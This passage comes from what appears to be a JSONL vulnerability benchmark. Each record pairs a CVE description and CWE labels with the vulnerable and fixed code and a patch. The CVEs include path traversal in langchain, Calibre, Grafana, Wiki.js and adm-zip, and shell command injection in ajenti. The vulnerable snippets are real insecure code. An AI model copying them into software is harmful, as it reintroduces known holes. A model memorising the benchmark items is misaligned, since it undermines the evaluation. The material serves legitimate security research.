AKUser)\n\n\treturn\n}"}], "vul_patch": "--- a/master/user.go\n+++ b/master/user.go\n@@ -64,6 +64,6 @@\n \t}\n \tu.userStore.Store(userID, userInfo)\n \tu.AKStore.Store(accessKey, AKUser)\n-\tlog.LogInfof(\"action[createUser], userID: %v, accesskey[%v], secretkey[%v]\", userID, accessKey, secretKey)\n+\n \treturn\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-3571", "cve_description": "langchain-ai/langchain is vulnerable to path traversal due to improper limitation of a pathname to a restricted directory ('Path Traversal') in its LocalFileStore functionality. An attacker can leverage this vulnerability to read or write files anywhere on the filesystem, potentially leading to information disclosure or remote code execution. The issue lies in the handling of file paths in the mset and mget methods, where user-supplied input is not adequately sanitized, allowing directory traversal sequences to reach unintended directories.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/langchain-ai/langchain", "patch_url": ["https://github.com/langchain-ai/langchain/commit/aad3d8bd47d7f5598156ff2bdcc8f736f24a7412"], "programing_language": "Python", "vul_func": [{"id": "vul_py_28_1", "commit": "501cc83", "file_path": "libs/langchain/langchain/storage/file_system.py", "start_line": 38, "end_line": 45, "snippet": "    def __init__(self, root_path: Union[str, Path]) -> None:\n        \"\"\"Implement the BaseStore interface for the local file system.\n\n        Args:\n            root_path (Union[str, Path]): The root path of the file store. All keys are\n                interpreted as paths relative to this root.\n        \"\"\"\n        self.root_path = Path(root_path)"}, {"id": "vul_py_28_2", "commit": "501cc83", "file_path": "libs/langchain/langchain/storage/file_system.py", "start_line": 47, "end_line": 58, "snippet": "    def _get_full_path(self, key: str) -> Path:\n        \"\"\"Get the full path for a given key relative to the root path.\n\n        Args:\n            key (str): The key relative to the root path.\n\n        Returns:\n            Path: The full path for the given key.\n        \"\"\"\n        if not re.match(r\"^[a-zA-Z0-9_.\\-/]+$\", key):\n            raise InvalidKeyException(f\"Invalid characters in key: {key}\")\n        return self.root_path / key"}], "fix_func": [{"id": "fix_py_28_1", "commit": "aad3d8b", "file_path": "libs/langchain/langchain/storage/file_system.py", "start_line": 39, "end_line": 46, "snippet": "    def __init__(self, root_path: Union[str, Path]) -> None:\n        \"\"\"Implement the BaseStore interface for the local file system.\n\n        Args:\n            root_path (Union[str, Path]): The root path of the file store. All keys are\n                interpreted as paths relative to this root.\n        \"\"\"\n        self.root_path = Path(root_path).absolute()"}, {"id": "fix_py_28_2", "commit": "aad3d8b", "file_path": "libs/langchain/langchain/storage/file_system.py", "start_line": 48, "end_line": 67, "snippet": "    def _get_full_path(self, key: str) -> Path:\n        \"\"\"Get the full path for a given key relative to the root path.\n\n        Args:\n            key (str): The key relative to the root path.\n\n        Returns:\n            Path: The full path for the given key.\n        \"\"\"\n        if not re.match(r\"^[a-zA-Z0-9_.\\-/]+$\", key):\n            raise InvalidKeyException(f\"Invalid characters in key: {key}\")\n        full_path = os.path.abspath(self.root_path / key)\n        common_path = os.path.commonpath([str(self.root_path), full_path])\n        if common_path != str(self.root_path):\n            raise InvalidKeyException(\n                f\"Invalid key: {key}. Key should be relative to the full path.\"\n                f\"{self.root_path} vs. {common_path} and full path of {full_path}\"\n            )\n\n        return Path(full_path)"}], "vul_patch": "--- a/libs/langchain/langchain/storage/file_system.py\n+++ b/libs/langchain/langchain/storage/file_system.py\n@@ -5,4 +5,4 @@\n             root_path (Union[str, Path]): The root path of the file store. All keys are\n                 interpreted as paths relative to this root.\n         \"\"\"\n-        self.root_path = Path(root_path)\n+        self.root_path = Path(root_path).absolute()\n\n--- a/libs/langchain/langchain/storage/file_system.py\n+++ b/libs/langchain/langchain/storage/file_system.py\n@@ -9,4 +9,12 @@\n         \"\"\"\n         if not re.match(r\"^[a-zA-Z0-9_.\\-/]+$\", key):\n             raise InvalidKeyException(f\"Invalid characters in key: {key}\")\n-        return self.root_path / key\n+        full_path = os.path.abspath(self.root_path / key)\n+        common_path = os.path.commonpath([str(self.root_path), full_path])\n+        if common_path != str(self.root_path):\n+            raise InvalidKeyException(\n+                f\"Invalid key: {key}. Key should be relative to the full path.\"\n+                f\"{self.root_path} vs. {common_path} and full path of {full_path}\"\n+            )\n+\n+        return Path(full_path)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-3571:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/langchain\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd ./libs/langchain && /workspace/PoC_env/CVE-2024-3571/bin/python -m pytest tests/unit_tests/storage/test_filesystem.py -v -k \"test_catches_forbidden_keys\" -c /dev/null", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-3571:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/langchain\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd ./libs/langchain && /workspace/PoC_env/CVE-2024-3571/bin/python -m pytest tests/unit_tests/storage/test_filesystem.py -v -c /dev/null\n"}
{"cve_id": "CVE-2019-25066", "cve_description": "A vulnerability has been found in ajenti 2.1.31 and classified as critical. This vulnerability affects unknown code of the component API. The manipulation leads to privilege escalation. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.1.32 is able to address this issue. The name of the patch is 7aa146b724e0e20cfee2c71ca78fafbf53a8767c. It is recommended to upgrade the affected component.", "cwe_info": {"CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/ajenti/ajenti", "patch_url": ["https://github.com/ajenti/ajenti/commit/7aa146b724e0e20cfee2c71ca78fafbf53a8767c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_204_1", "commit": "ef385f9", "file_path": "ajenti-core/aj/auth.py", "start_line": 100, "end_line": 115, "snippet": "    def authenticate(self, username, password):\n        child = None\n        try:\n            child = pexpect.spawn('/bin/sh', ['-c', '/bin/su -c \"/bin/echo SUCCESS\" - %s' % username], timeout=5)\n            child.expect('.*:')\n            child.sendline(password)\n            result = child.expect(['su: .*', 'SUCCESS'])\n        except Exception as err:\n            if child and child.isalive():\n                child.close()\n            logging.error('Error checking password: %s', err)\n            return False\n        if result == 0:\n            return False\n        else:\n            return True"}], "fix_func": [{"id": "fix_py_204_1", "commit": "7aa146b", "file_path": "ajenti-core/aj/auth.py", "start_line": 101, "end_line": 122, "snippet": "    def authenticate(self, username, password):\n        child = None\n\n        if PY3:\n            from shlex import quote\n        else:\n            from pipes import quote\n\n        try:\n            child = pexpect.spawn('/bin/sh', ['-c', '/bin/su -c \"/bin/echo SUCCESS\" - %s' % quote(username)], timeout=5)\n            child.expect('.*:')\n            child.sendline(password)\n            result = child.expect(['su: .*', 'SUCCESS'])\n        except Exception as err:\n            if child and child.isalive():\n                child.close()\n            logging.error('Error checking password: %s', err)\n            return False\n        if result == 0:\n            return False\n        else:\n            return True"}], "vul_patch": "--- a/ajenti-core/aj/auth.py\n+++ b/ajenti-core/aj/auth.py\n@@ -1,7 +1,13 @@\n     def authenticate(self, username, password):\n         child = None\n+\n+        if PY3:\n+            from shlex import quote\n+        else:\n+            from pipes import quote\n+\n         try:\n-            child = pexpect.spawn('/bin/sh', ['-c', '/bin/su -c \"/bin/echo SUCCESS\" - %s' % username], timeout=5)\n+            child = pexpect.spawn('/bin/sh', ['-c', '/bin/su -c \"/bin/echo SUCCESS\" - %s' % quote(username)], timeout=5)\n             child.expect('.*:')\n             child.sendline(password)\n             result = child.expect(['su: .*', 'SUCCESS'])\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-43800", "cve_description": "Wiki.js is a wiki app built on Node.js. Prior to version 2.5.254, directory traversal outside of Wiki.js context is possible when a storage module with local asset cache fetching is enabled on a Windows host. A malicious user can potentially read any file on the file system by crafting a special URL that allows for directory traversal. This is only possible on a Wiki.js server running on Windows, when a storage module implementing local asset cache (e.g Local File System or Git) is enabled and that no web application firewall solution (e.g. cloudflare) strips potentially malicious URLs. Commit number 414033de9dff66a327e3f3243234852f468a9d85 fixes this vulnerability by sanitizing the path before it is passed on to the storage module. The sanitization step removes any windows directory traversal sequences from the path. As a workaround, disable any storage module with local asset caching capabilities (Local File System, Git).", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/Requarks/wiki", "patch_url": ["https://github.com/Requarks/wiki/commit/414033de9dff66a327e3f3243234852f468a9d85"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_79_1", "commit": "112d070", "file_path": "server/helpers/page.js", "start_line": "23", "end_line": "64", "snippet": "  parsePath (rawPath, opts = {}) {\n    let pathObj = {\n      locale: WIKI.config.lang.code,\n      path: 'home',\n      private: false,\n      privateNS: '',\n      explicitLocale: false\n    }\n\n    // Clean Path\n    rawPath = _.trim(qs.unescape(rawPath))\n    if (_.startsWith(rawPath, '/')) { rawPath = rawPath.substring(1) }\n    rawPath = rawPath.replace(unsafeCharsRegex, '')\n    if (rawPath === '') { rawPath = 'home' }\n\n    // Extract Info\n    let pathParts = _.filter(_.split(rawPath, '/'), p => {\n      p = _.trim(p)\n      return !_.isEmpty(p) && p !== '..' && p !== '.'\n    })\n    if (pathParts[0].length === 1) {\n      pathParts.shift()\n    }\n    if (localeSegmentRegex.test(pathParts[0])) {\n      pathObj.locale = pathParts[0]\n      pathObj.explicitLocale = true\n      pathParts.shift()\n    }\n\n    // Strip extension\n    if (opts.stripExt && pathParts.length > 0) {\n      const lastPart = _.last(pathParts)\n      if (lastPart.indexOf('.') > 0) {\n        pathParts.pop()\n        const lastPartMeta = path.parse(lastPart)\n        pathParts.push(lastPartMeta.name)\n      }\n    }\n\n    pathObj.path = _.join(pathParts, '/')\n    return pathObj\n  },"}], "fix_func": [{"id": "fix_js_79_1", "commit": "414033d", "file_path": "server/helpers/page.js", "start_line": "23", "end_line": "66", "snippet": "  parsePath (rawPath, opts = {}) {\n    let pathObj = {\n      locale: WIKI.config.lang.code,\n      path: 'home',\n      private: false,\n      privateNS: '',\n      explicitLocale: false\n    }\n\n    // Clean Path\n    rawPath = _.trim(qs.unescape(rawPath))\n    if (_.startsWith(rawPath, '/')) { rawPath = rawPath.substring(1) }\n    rawPath = rawPath.replace(unsafeCharsRegex, '')\n    if (rawPath === '') { rawPath = 'home' }\n\n    rawPath = rawPath.replaceAll('\\\\', '').replaceAll('//', '').replaceAll(/\\.\\.+/ig, '')\n\n    // Extract Info\n    let pathParts = _.filter(_.split(rawPath, '/'), p => {\n      p = _.trim(p)\n      return !_.isEmpty(p) && p !== '..' && p !== '.'\n    })\n    if (pathParts[0].length === 1) {\n      pathParts.shift()\n    }\n    if (localeSegmentRegex.test(pathParts[0])) {\n      pathObj.locale = pathParts[0]\n      pathObj.explicitLocale = true\n      pathParts.shift()\n    }\n\n    // Strip extension\n    if (opts.stripExt && pathParts.length > 0) {\n      const lastPart = _.last(pathParts)\n      if (lastPart.indexOf('.') > 0) {\n        pathParts.pop()\n        const lastPartMeta = path.parse(lastPart)\n        pathParts.push(lastPartMeta.name)\n      }\n    }\n\n    pathObj.path = _.join(pathParts, '/')\n    return pathObj\n  },"}], "vul_patch": "--- a/server/helpers/page.js\n+++ b/server/helpers/page.js\n@@ -12,6 +12,8 @@\n     if (_.startsWith(rawPath, '/')) { rawPath = rawPath.substring(1) }\n     rawPath = rawPath.replace(unsafeCharsRegex, '')\n     if (rawPath === '') { rawPath = 'home' }\n+\n+    rawPath = rawPath.replaceAll('\\\\', '').replaceAll('//', '').replaceAll(/\\.\\.+/ig, '')\n \n     // Extract Info\n     let pathParts = _.filter(_.split(rawPath, '/'), p => {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-6781", "cve_description": "Path traversal in Calibre <= 7.14.0 allow unauthenticated attackers to achieve arbitrary file read.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/kovidgoyal/calibre", "patch_url": ["https://github.com/kovidgoyal/calibre/commit/bcd0ab12c41a887f8290a9b56e46c3a29038d9c4"], "programing_language": "Python", "vul_func": [{"id": "vul_py_349_1", "commit": "f3420c6b15a5fb39ae75b08ed23d8dd0ee25dcc2", "file_path": "src/calibre/db/backend.py", "start_line": 2005, "end_line": 2012, "snippet": "    def copy_extra_file_to(self, book_id, book_path, relpath, stream_or_path):\n        full_book_path = os.path.abspath(os.path.join(self.library_path, book_path))\n        src_path = make_long_path_useable(os.path.join(full_book_path, relpath))\n        if isinstance(stream_or_path, str):\n            shutil.copy2(src_path, make_long_path_useable(stream_or_path))\n        else:\n            with open(src_path, 'rb') as src:\n                shutil.copyfileobj(src, stream_or_path)"}], "fix_func": [{"id": "fix_py_349_1", "commit": "bcd0ab12c41a887f8290a9b56e46c3a29038d9c4", "file_path": "src/calibre/db/backend.py", "start_line": 2005, "end_line": 2015, "snippet": "    def copy_extra_file_to(self, book_id, book_path, relpath, stream_or_path):\n        full_book_path = os.path.abspath(os.path.join(self.library_path, book_path))\n        extra_file_path = os.path.abspath(os.path.join(full_book_path, relpath))\n        if not extra_file_path.startswith(full_book_path):\n            raise FileNotFoundError(f'No data file {relpath} in book: {book_id}')\n        src_path = make_long_path_useable(extra_file_path)\n        if isinstance(stream_or_path, str):\n            shutil.copy2(src_path, make_long_path_useable(stream_or_path))\n        else:\n            with open(src_path, 'rb') as src:\n                shutil.copyfileobj(src, stream_or_path)"}], "vul_patch": "--- a/src/calibre/db/backend.py\n+++ b/src/calibre/db/backend.py\n@@ -1,6 +1,9 @@\n     def copy_extra_file_to(self, book_id, book_path, relpath, stream_or_path):\n         full_book_path = os.path.abspath(os.path.join(self.library_path, book_path))\n-        src_path = make_long_path_useable(os.path.join(full_book_path, relpath))\n+        extra_file_path = os.path.abspath(os.path.join(full_book_path, relpath))\n+        if not extra_file_path.startswith(full_book_path):\n+            raise FileNotFoundError(f'No data file {relpath} in book: {book_id}')\n+        src_path = make_long_path_useable(extra_file_path)\n         if isinstance(stream_or_path, str):\n             shutil.copy2(src_path, make_long_path_useable(stream_or_path))\n         else:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-43813", "cve_description": "Grafana is an open-source platform for monitoring and observability. Grafana prior to versions 8.3.2 and 7.5.12 contains a directory traversal vulnerability for fully lowercase or fully uppercase .md files. The vulnerability is limited in scope, and only allows access to files with the extension .md to authenticated users only. Grafana Cloud instances have not been affected by the vulnerability. Users should upgrade to patched versions 8.3.2 or 7.5.12. For users who cannot upgrade, running a reverse proxy in front of Grafana that normalizes the PATH of the request will mitigate the vulnerability. The proxy will have to also be able to handle url encoded paths. Alternatively, for fully lowercase or fully uppercase .md files, users can block /api/plugins/.*/markdown/.* without losing any functionality beyond inlined plugin help text.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/grafana/grafana", "patch_url": ["https://github.com/grafana/grafana/commit/d6ec6f8ad28f0212e584406730f939105ff6c6d3"], "programing_language": "Go", "vul_func": [{"id": "vul_go_263_1", "commit": "adc31f8f4360d27947affc8fd4253161282cc88e", "file_path": "pkg/api/plugins.go", "start_line": 486, "end_line": 520, "snippet": "func (hs *HTTPServer) pluginMarkdown(ctx context.Context, pluginId string, name string) ([]byte, error) {\n\tplugin, exists := hs.pluginStore.Plugin(ctx, pluginId)\n\tif !exists {\n\t\treturn nil, plugins.NotFoundError{PluginID: pluginId}\n\t}\n\n\t// nolint:gosec\n\t// We can ignore the gosec G304 warning on this one because `plugin.PluginDir` is based\n\t// on plugin the folder structure on disk and not user input.\n\tpath := filepath.Join(plugin.PluginDir, fmt.Sprintf(\"%s.md\", strings.ToUpper(name)))\n\texists, err := fs.Exists(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !exists {\n\t\tpath = filepath.Join(plugin.PluginDir, fmt.Sprintf(\"%s.md\", strings.ToLower(name)))\n\t}\n\n\texists, err = fs.Exists(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !exists {\n\t\treturn make([]byte, 0), nil\n\t}\n\n\t// nolint:gosec\n\t// We can ignore the gosec G304 warning on this one because `plugin.PluginDir` is based\n\t// on plugin the folder structure on disk and not user input.\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}"}], "fix_func": [{"id": "fix_go_263_1", "commit": "d6ec6f8ad28f0212e584406730f939105ff6c6d3", "file_path": "pkg/api/plugins.go", "start_line": 486, "end_line": 520, "snippet": "func (hs *HTTPServer) pluginMarkdown(ctx context.Context, pluginId string, name string) ([]byte, error) {\n\tplugin, exists := hs.pluginStore.Plugin(ctx, pluginId)\n\tif !exists {\n\t\treturn nil, plugins.NotFoundError{PluginID: pluginId}\n\t}\n\n\t// nolint:gosec\n\t// We can ignore the gosec G304 warning since we have cleaned the requested file path and subsequently\n\t// use this with a prefix of the plugin's directory, which is set during plugin loading\n\tpath := filepath.Join(plugin.PluginDir, mdFilepath(strings.ToUpper(name)))\n\texists, err := fs.Exists(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !exists {\n\t\tpath = filepath.Join(plugin.PluginDir, mdFilepath(strings.ToLower(name)))\n\t}\n\n\texists, err = fs.Exists(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !exists {\n\t\treturn make([]byte, 0), nil\n\t}\n\n\t// nolint:gosec\n\t// We can ignore the gosec G304 warning since we have cleaned the requested file path and subsequently\n\t// use this with a prefix of the plugin's directory, which is set during plugin loading\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}"}], "vul_patch": "--- a/pkg/api/plugins.go\n+++ b/pkg/api/plugins.go\n@@ -5,15 +5,15 @@\n \t}\n \n \t// nolint:gosec\n-\t// We can ignore the gosec G304 warning on this one because `plugin.PluginDir` is based\n-\t// on plugin the folder structure on disk and not user input.\n-\tpath := filepath.Join(plugin.PluginDir, fmt.Sprintf(\"%s.md\", strings.ToUpper(name)))\n+\t// We can ignore the gosec G304 warning since we have cleaned the requested file path and subsequently\n+\t// use this with a prefix of the plugin's directory, which is set during plugin loading\n+\tpath := filepath.Join(plugin.PluginDir, mdFilepath(strings.ToUpper(name)))\n \texists, err := fs.Exists(path)\n \tif err != nil {\n \t\treturn nil, err\n \t}\n \tif !exists {\n-\t\tpath = filepath.Join(plugin.PluginDir, fmt.Sprintf(\"%s.md\", strings.ToLower(name)))\n+\t\tpath = filepath.Join(plugin.PluginDir, mdFilepath(strings.ToLower(name)))\n \t}\n \n \texists, err = fs.Exists(path)\n@@ -25,8 +25,8 @@\n \t}\n \n \t// nolint:gosec\n-\t// We can ignore the gosec G304 warning on this one because `plugin.PluginDir` is based\n-\t// on plugin the folder structure on disk and not user input.\n+\t// We can ignore the gosec G304 warning since we have cleaned the requested file path and subsequently\n+\t// use this with a prefix of the plugin's directory, which is set during plugin loading\n \tdata, err := ioutil.ReadFile(path)\n \tif err != nil {\n \t\treturn nil, err\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-36566", "cve_description": "Due to improper path sanitization, archives containing relative file paths can cause files to be written (or overwritten) outside of the target directory.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/whyrusleeping/tar-utils", "patch_url": ["https://github.com/whyrusleeping/tar-utils/commit/20a61371de5b51380bbdb0c7935b30b0625ac227"], "programing_language": "Go", "vul_func": [{"id": "vul_go_101_1", "commit": "c528cc7", "file_path": "extractor.go", "start_line": 106, "end_line": 118, "snippet": "func (te *Extractor) outputPath(tarPath string) (outPath string, err error) {\n\telems := strings.Split(tarPath, \"/\")    // break into elems\n\telems = elems[1:]                       // remove original root\n\toutPath = strings.Join(elems, \"/\")      // join elems\n\toutPath = gopath.Join(te.Path, outPath) // rebase on to extraction target root\n\t// sanitize path to be platform legal\n\tif te.SanitizePathFunc != nil {\n\t\toutPath, err = te.SanitizePathFunc(outPath)\n\t} else {\n\t\toutPath = fp.FromSlash(outPath)\n\t}\n\treturn\n}"}], "fix_func": [{"id": "fix_go_101_1", "commit": "20a6137", "file_path": "extractor.go", "start_line": 106, "end_line": 123, "snippet": "func (te *Extractor) outputPath(tarPath string) (outPath string, err error) {\n\telems := strings.Split(tarPath, \"/\") // break into elems\n\tfor _, e := range elems {\n\t\tif e == \"..\" {\n\t\t\treturn \"\", fmt.Errorf(\"%s : path contains '..'\", tarPath)\n\t\t}\n\t}\n\telems = elems[1:]                       // remove original root\n\toutPath = strings.Join(elems, \"/\")      // join elems\n\toutPath = gopath.Join(te.Path, outPath) // rebase on to extraction target root\n\t// sanitize path to be platform legal\n\tif te.SanitizePathFunc != nil {\n\t\toutPath, err = te.SanitizePathFunc(outPath)\n\t} else {\n\t\toutPath = fp.FromSlash(outPath)\n\t}\n\treturn\n}"}], "vul_patch": "--- a/extractor.go\n+++ b/extractor.go\n@@ -1,5 +1,10 @@\n func (te *Extractor) outputPath(tarPath string) (outPath string, err error) {\n-\telems := strings.Split(tarPath, \"/\")    // break into elems\n+\telems := strings.Split(tarPath, \"/\") // break into elems\n+\tfor _, e := range elems {\n+\t\tif e == \"..\" {\n+\t\t\treturn \"\", fmt.Errorf(\"%s : path contains '..'\", tarPath)\n+\t\t}\n+\t}\n \telems = elems[1:]                       // remove original root\n \toutPath = strings.Join(elems, \"/\")      // join elems\n \toutPath = gopath.Join(te.Path, outPath) // rebase on to extraction target root\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-1002204", "cve_description": "adm-zip npm library before 0.4.9 is vulnerable to directory traversal, allowing attackers to write to arbitrary files via a ../ (dot dot slash) in a Zip archive entry that is mishandled during extraction. This vulnerability is also known as 'Zip-Slip'.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/cthackers/adm-zip", "patch_url": ["https://github.com/cthackers/adm-zip/commit/62f64004fefb894c523a7143e8a88ebe6c84df25"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_242_1", "commit": "e116bc1", "file_path": "adm-zip.js", "start_line": 339, "end_line": 388, "snippet": "        extractEntryTo : function(/*Object*/entry, /*String*/targetPath, /*Boolean*/maintainEntryPath, /*Boolean*/overwrite) {\n            overwrite = overwrite || false;\n            maintainEntryPath = typeof maintainEntryPath == \"undefined\" ? true : maintainEntryPath;\n\n            var item = getEntry(entry);\n            if (!item) {\n                throw Utils.Errors.NO_ENTRY;\n            }\n\n            var entryName = item.entryName;\n\n            if(isWin){\n                entryName = escapeFileName(entryName)\n            }\n\n\n\n            var target = pth.resolve(targetPath, maintainEntryPath ? entryName : pth.basename(entryName));\n\n            if (item.isDirectory) {\n                target = pth.resolve(target, \"..\");\n                var children = _zip.getEntryChildren(item);\n                children.forEach(function(child) {\n                    if (child.isDirectory) return;\n                    var content = child.getData();\n                    if (!content) {\n                        throw Utils.Errors.CANT_EXTRACT_FILE;\n                    }\n\n                    childName = child.entryName;\n\n                    if(isWin){\n                        childName = escapeFileName(childName)\n                    }\n\n                    Utils.writeFileTo(pth.resolve(targetPath, maintainEntryPath ? childName : childName.substr(entryName.length)), content, overwrite);\n                });\n                return true;\n            }\n\n            var content = item.getData();\n            if (!content) throw Utils.Errors.CANT_EXTRACT_FILE;\n\n            if (fs.existsSync(target) && !overwrite) {\n                throw Utils.Errors.CANT_OVERRIDE;\n            }\n            Utils.writeFileTo(target, content, overwrite);\n\n            return true;\n        },"}, {"id": "vul_js_242_2", "commit": "e116bc1", "file_path": "adm-zip.js", "start_line": 422, "end_line": 446, "snippet": "        extractAllTo : function(/*String*/targetPath, /*Boolean*/overwrite) {\n            overwrite = overwrite || false;\n            if (!_zip) {\n                throw Utils.Errors.NO_ZIP;\n            }\n\n\n            _zip.entries.forEach(function(entry) {\n                entryName = entry.entryName.toString();\n\n                if(isWin){\n                    entryName = escapeFileName(entryName)\n                }\n\n                if (entry.isDirectory) {\n                    Utils.makeDir(pth.resolve(targetPath, entryName));\n                    return;\n                }\n                var content = entry.getData();\n                if (!content) {\n                    throw Utils.Errors.CANT_EXTRACT_FILE + \"2\";\n                }\n                Utils.writeFileTo(pth.resolve(targetPath, entryName), content, overwrite);\n            })\n        },"}, {"id": "vul_js_242_3", "commit": "e116bc1", "file_path": "adm-zip.js", "start_line": 456, "end_line": 503, "snippet": "        extractAllToAsync : function(/*String*/targetPath, /*Boolean*/overwrite, /*Function*/callback) {\n            overwrite = overwrite || false;\n            if (!_zip) {\n                callback(new Error(Utils.Errors.NO_ZIP));\n                return;\n            }\n\n            var entries = _zip.entries;\n            var i = entries.length;\n            entries.forEach(function(entry) {\n                if(i <= 0) return; // Had an error already\n\n                entryName = entry.entryName.toString();\n\n                if(isWin){\n                    entryName = escapeFileName(entryName)\n                }\n\n                if (entry.isDirectory) {\n                    Utils.makeDir(pth.resolve(targetPath, entryName));\n                    if(--i == 0)\n                        callback(undefined);\n                    return;\n                }\n                entry.getDataAsync(function(content) {\n                    if(i <= 0) return;\n                    if (!content) {\n                        i = 0;\n                        callback(new Error(Utils.Errors.CANT_EXTRACT_FILE + \"2\"));\n                        return;\n                    }\n\n                    Utils.writeFileToAsync(pth.resolve(targetPath, entryName), content, overwrite, function(succ) {\n                        if(i <= 0) return;\n\n                        if(!succ) {\n                            i = 0;\n                            callback(new Error('Unable to write'));\n                            return;\n                        }\n\n                        if(--i == 0)\n                            callback(undefined);\n                    });\n\n                });\n            })\n        },"}], "fix_func": [{"id": "fix_js_242_1", "commit": "62f64004fefb894c523a7143e8a88ebe6c84df25", "file_path": "adm-zip.js", "start_line": 339, "end_line": 391, "snippet": "        extractEntryTo : function(/*Object*/entry, /*String*/targetPath, /*Boolean*/maintainEntryPath, /*Boolean*/overwrite) {\n            overwrite = overwrite || false;\n            maintainEntryPath = typeof maintainEntryPath == \"undefined\" ? true : maintainEntryPath;\n\n            var item = getEntry(entry);\n            if (!item) {\n                throw Utils.Errors.NO_ENTRY;\n            }\n\n            var entryName = item.entryName;\n\n            if(isWin){\n                entryName = escapeFileName(entryName)\n            }\n\n\n\n            var target = pth.resolve(targetPath, maintainEntryPath ? entryName : pth.basename(entryName));\n            if(!target.startsWith(targetPath)) {\n                throw Utils.Errors.INVALID_FILENAME + \": \" + entryName;\n            }\n\n            if (item.isDirectory) {\n                target = pth.resolve(target, \"..\");\n                var children = _zip.getEntryChildren(item);\n                children.forEach(function(child) {\n                    if (child.isDirectory) return;\n                    var content = child.getData();\n                    if (!content) {\n                        throw Utils.Errors.CANT_EXTRACT_FILE;\n                    }\n\n                    childName = child.entryName;\n\n                    if(isWin){\n                        childName = escapeFileName(childName)\n                    }\n\n                    Utils.writeFileTo(pth.resolve(targetPath, maintainEntryPath ? childName : childName.substr(entryName.length)), content, overwrite);\n                });\n                return true;\n            }\n\n            var content = item.getData();\n            if (!content) throw Utils.Errors.CANT_EXTRACT_FILE;\n\n            if (fs.existsSync(target) && !overwrite) {\n                throw Utils.Errors.CANT_OVERRIDE;\n            }\n            Utils.writeFileTo(target, content, overwrite);\n\n            return true;\n        },"}, {"id": "fix_js_242_2", "commit": "62f64004fefb894c523a7143e8a88ebe6c84df25", "file_path": "adm-zip.js", "start_line": 425, "end_line": 453, "snippet": "        extractAllTo : function(/*String*/targetPath, /*Boolean*/overwrite) {\n            overwrite = overwrite || false;\n            if (!_zip) {\n                throw Utils.Errors.NO_ZIP;\n            }\n\n\n            _zip.entries.forEach(function(entry) {\n                entryName = entry.entryName.toString();\n\n                if(!pth.resolve(targetPath, entryName).startsWith(targetPath)) {\n                    throw Utils.Errors.INVALID_FILENAME + \": \" + entryName;\n                }\n\n                if(isWin){\n                    entryName = escapeFileName(entryName)\n                }\n\n                if (entry.isDirectory) {\n                    Utils.makeDir(pth.resolve(targetPath, entryName));\n                    return;\n                }\n                var content = entry.getData();\n                if (!content) {\n                    throw Utils.Errors.CANT_EXTRACT_FILE + \"2\";\n                